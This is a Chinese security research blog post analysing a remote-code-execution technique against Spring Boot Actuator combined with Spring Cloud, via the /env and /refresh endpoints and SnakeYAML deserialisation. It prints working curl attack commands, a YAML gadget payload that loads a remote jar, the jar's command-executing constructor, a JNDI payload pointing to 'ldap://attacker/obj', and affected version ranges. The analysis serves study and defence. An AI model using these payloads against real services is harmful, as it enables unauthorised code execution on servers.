作者:b1ngz@小米安全
0x01. TL;DR
今年二月份,Michael Stepankin 大佬写了一篇关于 Spring Boot Actuator 的利用文章 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators,文中介绍了多种利用思路和方式,接着作者在五月份的时候更新了文章,增加了在使用 Spring Cloud 相关组件时,通过修改 spring.cloud.bootstrap.location
环境变量实现 RCE 的方法,因为网上没有找到该方法的分析文章,自己 debug 并记录了一下过程,主要内容包括
- 通过修改环境变量实现 RCE 的原理和过程分析
- SnakeYAML 反序列化介绍和利用
- 高版本 Spring Boot Actuator 利用测试和失败原因分析
- 自己的一些思考
本文中涉及到的代码和漏洞环境参考 https://github.com/b1ngz/spring-boot-actuator-cloud-vul
0x02. RCE 分析
首先简单总结一下利用过程
- 利用
/env
endpoint 修改spring.cloud.bootstrap.location
属性值为一个外部 yml 配置文件 url 地址,如http://127.0.0.1:63712/yaml-payload.yml
- 请求
/refresh
endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的javax.script.ScriptEngineManager
类,可实现加载远程 jar 包,完成任意代码执行
从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子
@Test
public void testYaml() {
Yaml yaml = new Yaml();
Object url = yaml.load("!!java.net.URL ["http://127.0.0.1:63712/yaml-payload.jar"]");
// class java.net.URL
System.out.println(url.getClass());
// http://127.0.0.1:63712/yaml-payload.jar
System.out.println(url);
}
SnakeYAML 支持 !!
+ 完整类名的方式来指定要反序列化的类,然后以 [arg1, arg2, ...]
的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个 java.net.URL
类的实例
再来看一下文章给出的外部 yml 文件 yaml-payload.yml
的内容
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
]]
]
SnakeYAML 处理上述内容的过程可以等价于以下 java 代码
URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
代码执行后,会从 http://127.0.0.1:63712/yaml-payload.jar
地址下载 jar 包,并在包中寻找一个 javax.script.ScriptEngineFactory
接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码
大致过程明白了,我们来 debug 一下
作者给出的 yaml-payload.jar
代码见 https://github.com/artsploit/yaml-payload,关键代码为 AwesomeScriptEngineFactory.java
类,构造函数中使用 Runtime 来执行系统命令
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
...
}
我们在 Runtime.exec()
方法下断点,调用栈如下
方法调用顺序
javax.script.ScriptEngineManager<init>
javax.script.ScriptEngineManager.init()
javax.script.ScriptEngineManager.initEngines()
java.util.ServiceLoader.LazyIterator.nextService()
artsploit.AwesomeScriptEngineFactory<init>
Runtime.getRuntime().exec()
在 ScriptEngineManager
类的 initEngines
方法中使用了 Java SPI 机制来动态加载接口 ScriptEngineFactory
的实现类
这也是为什么 jar 包中 AwesomeScriptEngineFactory
类需要实现 ScriptEngineFactory
接口、并且 META-INF/services
目录下需要有一个文件名为 javax.script.ScriptEngineFactory
,值为实现类完整包名的原因,即需要符合 Java SPI 实现规范
在 ServiceLoader
加载实现类的过程中,会调用无参数构造方法来创建实例,触发命令执行
对应代码在 ServiceLoader.LazyIterator
类的 nextService()
分析完 YAML 反序列化后,我们来看一下在 Spring Boot Actuator 中时的执行流程,漏洞环境和代码见 master 分支
以 debug 模式运行漏洞环境,同样在 Runtime.exec()
方法下断点
首先修改 spring.cloud.bootstrap.location
curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"
访问 http://127.0.0.1:61234/env,可以看到在 manager
下多了我们设置的值
然后请求 /refresh
接口触发
curl -XPOST http://127.0.0.1:61234/refresh
调用栈比较长,我们来看几个关键的地方,即处理 /refresh
接口请求的类
第二个是 BootstrapApplicationListener.bootstrapServiceContext()
方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location
的值,即之前设置的外部 yml 文件 url
接着会到 org.springframework.boot.env.PropertySourcesLoader.load()
方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader
类加载 url 对应的 yml 配置文件
根据右侧代码,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader
在默认情况下是使用 SnakeYAML 库解析配置
最终由 YamlProcessor.process()
方法中调用 Yaml.loadAll()
解析 yml 文件内容 ,之后的流程就和前面 SnakeYAML
反序列化过程类似,最终触发命令执行
0x03. 高版本测试
作者在文章中给出的漏洞环境是 Spring Boot 1.x 版本,而在实际的测试过程中,遇到很多情况是 Spring Boot 2.x 版本。 在 2.x 版本中,actuator 默认的 endpoint 前缀是 /actuator
,并且修改环境变量的 env
接口的 post body 也变成了 json 格式,步骤为
修改环境变量
curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'
访问 http://127.0.0.1:61234/actuator/env,可以看到 propertySources 下多了刚才设置的值
接着 refresh 触发
curl -XPOST http://127.0.0.1:61234/actuator/refresh
执行完后,你会发现计算器并没有弹出,此时,黑人问号???只能再次 debug 找下原因
经过一番研究,发现是因为 spring.cloud.bootstrap.location
属性的值没有生效的缘故
来回忆一下之前提到的第二个关键点
BootstrapApplicationListener.bootstrapServiceContext()
,这里从环境变量中获取到了spring.cloud.bootstrap.location
的值,即之前设置的外部 yml 文件 url
可以看到,configLocation
的值为空,即无法从 environment 解析到 ${spring.cloud.bootstrap.location}
的值
通过对调用方法和变量的分析,发现是因为 environment
变量中的 propertySourceList
属性发生了变化
先来看一下 1.x 版本的,可以看到是包含名为 manager
的 PropertySource
再来看一下 2.x 版本的,会发现没有了
而 PropertySources 的加载代码在 org.springframework.cloud.context.refresh.ContextRefresher
的 copyEnvironment()
方法中
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input)
相同的,我们先来看一下 1.x 的逻辑
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment environment = new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
// 清空
for (PropertySource<?> source : capturedPropertySources) {
capturedPropertySources.remove(source.getName());
}
// 见下图
for (PropertySource<?> source : input.getPropertySources()) {
capturedPropertySources.addLast(source);
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map<String, Object> map = new HashMap<String, Object>();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
capturedPropertySources
.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}
input.getPropertySources()
的值
以下是 2.x 的逻辑
private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
// order matters, if cli args aren't first, things get messy
// commandLineArgs
CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
"defaultProperties" };
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment environment = new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
// 以下代码发生了变化
// Only copy the default property source(s) and the profiles over from the main
// environment (everything else should be pristine, just like it was on startup).
for (String name : DEFAULT_PROPERTY_SOURCES) {
if (input.getPropertySources().contains(name)) {
// 替换
if (capturedPropertySources.contains(name)) {
capturedPropertySources.replace(name,
input.getPropertySources().get(name));
}
else { // 添加
capturedPropertySources.addLast(input.getPropertySources().get(name));
}
}
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map<String, Object> map = new HashMap<String, Object>();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
capturedPropertySources
.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}
根据代码可以知道,只有 name 在 DEFAULT_PROPERTY_SOURCES
中的 PropertySource
才会被处理,其值为 String 数组,仅包含
- commandLineArgs
- defaultProperties
而我们添加的是属性值是在 name 为 manager
的 PropertySource
,因此不会被添加到 environment 的 propertySources (capturedPropertySources
) 中,最终导致无法 resolve
到此,可以确定通过修改 spring.cloud.bootstrap.location
属性实现 RCE 的方法在高版本下无法成功
为了找到可利用的版本范围,看了下 git 的提交记录,发现该修改是在 spring-cloud-commons
1.3.0.RELEASE 合并的,因此只有依赖小于 1.3.0.RELEASE
才受影响
并且 Spring Cloud 相关 jar 包的依赖版本取决于 spring-cloud-dependencies
的版本,通过 pom.xml 可以知道, spring-cloud-dependencies
的 Dalston.RELEASE 版本依赖的还是 1.2.0 的 spring-cloud-commons
,而之后的版本则依赖 >= 1.3.0,根据文档 https://spring.io/projects/spring-cloud 中 Spring Cloud 对 Spring Boot 的版本适配说明
我们可以知道
- Spring Boot 2.x 无法利用成功
- Spring Boot 1.5.x 在使用
Dalston
版本时可利用成功,使用Edgware
无法成功 - Spring Boot <= 1.4 可利用成功
0x04. 思考
How to find?
作者是如何找到这个利用方式的?这个一直是看完这种大佬文章后第一个想知道答案的问题,也是最难的问题,这里尝试找到一些思路和线索
首先,在不使用 Spring Cloud 组件时,Spring Boot Actuator 的 /env
endpoint 默认情况下只能读取环境变量的值,因此第一问题就是,如何得知有可以修改环境变量的功能?
这里就需要对 Spring 生态,如 Spring Boot, Spring Cloud 等,有一定的了解和使用经验,否则会无从下手。通过搜索 Spring Cloud 的文档,找到了相关说明 https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_endpoints
- POST to
/env
to update theEnvironment
and rebind@ConfigurationProperties
and log levels/refresh
for re-loading the boot strap context and refreshing the@RefreshScope
beans
从文档中,我们也知道了请求 /refresh
可以触发 bootstrap context reload,并加载修改后的环境变量
那么接下来的问题就是找到哪些环境变量是可以修改的,并且在 reload 之后会执行某些敏感的操作。根据文章中的说明,能修改的环境变量非常的多,需要一一尝试。
这里正向思考没有什么思路,转从逆向,尝试从 spring.cloud.bootstrap.location
入手,根据 Spring 文档中的说明 customizing-bootstrap-properties
The
bootstrap.yml
(or.properties
) location can be specified by settingspring.cloud.bootstrap.name
(default:bootstrap
) orspring.cloud.bootstrap.location
(default: empty) — for example, in System properties.
可以得知这个变量是用于指定 bootstrap 配置文件的位置,支持的文件格式包括 yml
和 properties
,对 Java 安全熟悉的朋友可能会联想到 yml 的解析会存在反序列化的问题,如果这里配置文件的内容我们能够控制,就存在可以被利用的可能。
再下一步,就是结合 Spring Cloud 源码和动手 debug,确定 spring.cloud.bootstrap.location
环境变量的处理和配置文件的解析过程。根据前面的分析,我们知道代码中会下载指定的 yml 文件,并且使用 SnakeYAML 库进行解析,因此存在反序列化漏洞。
当然,实际的过程会比刚才描述的要复杂很多,需要投入很多的时间和精力阅读文档、调试代码。
SnakeYAML Payload
根据 https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf 中的介绍,除了 javax.script.ScriptEngineManager
类外,我们还可以使用 com.sun.rowset.JdbcRowSetImpl
类,通过 JNDI 注入来完成利用,payload 如下
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://attacker/obj
autoCommit: true
相比 ScriptEngineManager
,JNDI 注入在高版本 JDK 利用会有一些限制,不过因为 Spring Boot 默认使用 Tomcat 容器,仍可以成功利用,详细可参考 Michael Stepankin 大佬的另一篇文章 Exploiting JNDI Injections in Java
Changes In YamlPropertySourceLoader
在寻找高版本 Spring Boot Actuator 失败原因的过程中,也发现了即使 spring.cloud.bootstrap.location
能够成功 resolve,也仍然无法成功,原因在与 Spring boot 中解析 yml 的类 org.springframework.boot.env.YamlPropertySourceLoader
逻辑也发生了变化,测试代码如下
@Test
public void test() throws Exception {
new YamlPropertySourceLoader().load("name", new ClassPathResource("payload/yaml-payload.yml"));
}
执行后会报如下错误
错误信息很明显,实例化 java.net.URL
时,构造方法的参数类型不正确,debug 后发现,高版本的 Spring Boot 将解析后的值存放在了 org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequence
类中,而不是 java.lang.String
,导致在反射创建实例时失败
0x05. 总结
文章简单分析了在同时使用 Spring Boot Actuator 和 Spring Cloud 时,利用修改 spring.cloud.bootstrap.location
环境变量实现 RCE 的原理和步骤,虽然在高版本中无法利用成功,但过程还是很值得学习。并且由于 Spring 生态的框架和组件非常的多,或许会有更多的利用方法,感兴趣的师父可以尝试研究一下。
最后,因个人水平有限,文章中可能会有描述不准确或者错误的地方,欢迎大家指出和交流